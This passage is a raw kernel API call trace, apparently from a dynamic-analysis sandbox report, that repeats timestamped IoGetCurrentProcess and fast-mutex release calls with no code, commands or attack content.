0xffffe000011ff900 [0113.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.727] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.727] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.756] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.772] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.788] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.804] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.836] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.864] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.885] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.885] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.911] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.927] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.931] IoGetCurrentProcess () returned 0xffffe000011ff900 [0113.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.088] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.088] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.088] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.088] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.091] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.091] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.091] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.091] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.091] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.091] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.170] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.185] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.201] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.237] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.248] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.266] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.289] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.308] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.329] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.351] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.385] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.419] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.419] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.419] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.441] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.463] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.471] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.471] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.471] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.472] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.472] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.473] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.491] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.521] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.541] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.572] IoGetCurrentProcess () returned 0xffffe000011ff900 [0114.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.580] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.618] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.677] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.691] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.692] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.709] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.726] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.750] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.933] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.973] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.989] IoGetCurrentProcess () returned 0xffffe000011ff900 [0115.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.018] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.035] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.051] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.069] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.070] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.102] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.133] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.133] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.133] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.150] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.178] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.194] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.213] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.225] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.238] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.267] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.285] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.301] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.323] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.346] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.418] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.418] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.418] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.443] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.488] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.506] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.523] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.523] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.523] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.550] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.574] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.608] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.624] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.639] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.639] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.656] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.685] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.701] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.701] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.701] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.723] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.751] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.776] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.777] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.777] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.777] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.777] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.788] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.789] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.944] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.959] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.975] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.975] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.975] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.013] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.028] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.029] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.056] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.079] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.116] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.142] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.142] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.142] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.144] 